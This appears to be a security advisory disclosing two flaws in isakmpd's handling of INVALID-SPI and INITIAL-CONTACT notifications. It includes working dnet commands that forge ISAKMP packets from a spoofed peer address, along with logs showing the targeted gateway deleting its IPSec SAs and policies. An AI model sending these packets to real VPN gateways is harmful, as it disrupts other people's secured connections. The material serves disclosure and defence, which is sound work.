|
|
|
|
| |
On 2003/11/06 a bug fix for a payload handling flaw in isakmpd described in Multiple Payload Handling Flaws in ISAKMPd was committed to CVS. Other payload handling flaws, which were not presented on a silver platter, but only mentioned in side notes, remain unfixed.
This posting will point out two other payload-handling flaws in isakmpd, which can be exploited with an ease. It is meant to put pressure on the developers of IKE daemons to review their software, which might become crucial in the future. |
| |
Credit:
The information has been provided by Thomas Walpuski.
|
| |
Affected Systems:
All versions of isakmpd are affected. Other well-known free IKE daemons are not affected.
isakmpd's reaction upon receipt of INVALID-SPI notifications:
On receipt of an INVALID-SPI notification, isakmpd deletes the IPSec SA referred to by the SPI contained in the notification data and all "associated" IPSec SAs, if the ISAKMP message originates from the right IP address. See section 4.1, RFC 2408 section 5.5, and IPSec.c for further details.
Nota Bene: This reaction upon receipt of an INVALID-SPI notification is complete nonsense.
isakmpd accepting INITIAL-CONTACT nearly everywhere:
When isakmpd receives an INITIAL-CONTACT notification chained to other "reasonable" payload, it deletes all IPSec SAs pointing to the source IP address of the ISAKMP message and all "associated" IPSec SAs. isakmpd ignores INITIAL-CONTACT notifications sent in an informational exchange. See section 4.2, RFC 2407 section 4.6.3.3, and IPSec.c for further details.
Leveraging the Issues:
The following scenario is assumed. There are two VPN gateways vpn-gw-a and vpn-gw-b, which have established an IPSec tunnel. The attacker tries to trigger unauthorized deletion of IPSec SAs on vpn-gw-a
.. ---[ vpn-gw-a ]------[ vpn-gw-b ]--- ..
\========= IPSec tunnel =========/
Using INVALID-SPI:
Someone starts isakmpd on vpn-gw-a:
vpn-gw-a# isakmpd -d -DA=30
vpn-gw-a and vpn-gw-b establish a IPSec tunnel using IKE. The IKE daemons install appropriate IPSec SAs (and policies):
vpn-gw-a# cat /kern/IPSec | grep SPI
SPI = 53fc575b, Destination = <vpn-gw-b's IP address>, Sproto = 50
SPI = 01627f3c, Destination = <vpn-gw-a's IP address>, Sproto = 50
The attacker does some network sniffing to learn the SPI of IPSec SA pointing to vpn-gw-b (that is quite easy, because it's contained in the AH/ESP header) and injects his "deadly" packet:
attacker# dnet hex \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x0b\x10\x05\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x2c" \
> "\x00\x00\x00\x10" \
> "\x00\x00\x00\x01" \
> "\x03\x00\x00\x0b" \
> "\x53\xfc\x57\x5b" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
Note: The example ISAKMP message is complete crap, but it seems to be good enough for isakmpd.
isakmpd auto-magically deletes the IPSec SAs:
vpn-gw-a# # cat /kern/IPSec
Hashmask: 31, policy entries: 0
Moreover, it informs you about it:
075542.992984 Exch 10 IPSec_responder: got NOTIFY of type INVALID_SPI
075543.000662 SA 30 IPSec_delete_spi_list: INVALID_SPI made us delete SA 0x1b1600 (3 references) for proto 0
There is one important thing we should mention. In isakmpd, deleting an IPSec SA also means deleting the appropriate IPSec policy in almost any case. Take a look at pf_key_v2_delete_spi() in pf_key_v2.c. It calls pf_key_v2_disable_sa(), the policy eraser, if the SA was not acquired through the kernel:
if (!(sa->flags & SA_FLAG_REPLACED)
&& !(sa->flags & SA_FLAG_ONDEMAND))
pf_key_v2_disable_sa (sa, incoming);
Now imagine an IPSec tunnel between two security gateways running isakmpd. Both gateways are attacked IPSec SAs and policies get removed.
Using INITIAL-CONTACT:
This attack is much easier (again, an IPSec tunnel is established):
vpn-gw-a# cat /kern/IPSec | grep SPI
SPI = 1d4f3865, Destination = <vpn-gw-a's IP address>, Sproto = 50
SPI = f7b3944c, Destination = <vpn-gw-b's IP address>, Sproto = 50
The attacker injects an ISAKMP message pretending to initiate a Main Mode exchange between vpn-gw-b and vpn-gw-a with an INITIAL-CONTACT notification chained to it:
attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x01\x10\x02\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x54" \
> "\x0b\x00\x00\x2c" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x20" \
> "\x01\x01\x00\x01" \
> "\x00\x00\x00\x18" \
> "\x01\x01\x00\x00" \
> "\x80\x01\x00\x05" \
> "\x80\x02\x00\x02" \
> "\x80\x03\x00\x03" \
> "\x80\x04\x00\x02" \
> "\x00\x00\x00\x0c" \
> "\x00\x00\x00\x01" \
> "\x01\x00\x60\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
If the isakmpd finds an acceptable proposal in message injected by the attacker, it tries to advance the exchange and deletes all IPSec SAs pointing to vpn-gw-b and all "associated" IPSec SAs:
vpn-gw-a# cat /kern/IPSec
Hashmask: 31, policy entries: 0
Moreover, it does some logging:
081412.393202 SA 30 IPSec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1600
081412.399786 SA 30 IPSec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1200
Nota Bene: You can include a large proposal payload with all possible transforms, so isakmpd will find one acceptable.
|
|
|
|
|
|
|
